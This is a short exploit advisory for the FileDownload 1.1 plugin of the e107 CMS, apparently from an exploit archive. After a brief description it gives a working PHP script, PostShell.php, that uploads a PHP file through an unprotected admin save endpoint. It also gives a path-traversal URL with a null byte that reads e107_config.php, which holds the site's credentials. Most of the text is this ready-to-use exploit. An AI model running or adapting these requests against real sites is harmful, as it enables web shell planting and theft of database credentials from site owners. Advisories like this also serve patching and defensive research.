e107 Filedownload Plugin – Arbitrary File Upload / Remote File Disclosure
source: https://www.securityfocus.com/bid/54098/info The FileDownload Plugin for e107 is prone to an arbitrary file-upload vulnerability and a remote file-disclosure vulnerability because the application fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload a file and view local files in the context of the web server process, which may aid in further attacks. FileDownload 1.1 is vulnerable; other versions may also be affected. PostShell.php <?php $ch = curl_init("http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/save.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('filename'=>'lo.php', 'accesses'=>'<?php phpinfo(); ?>')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/edit.php?file=../../../../../e107_config.php%00 |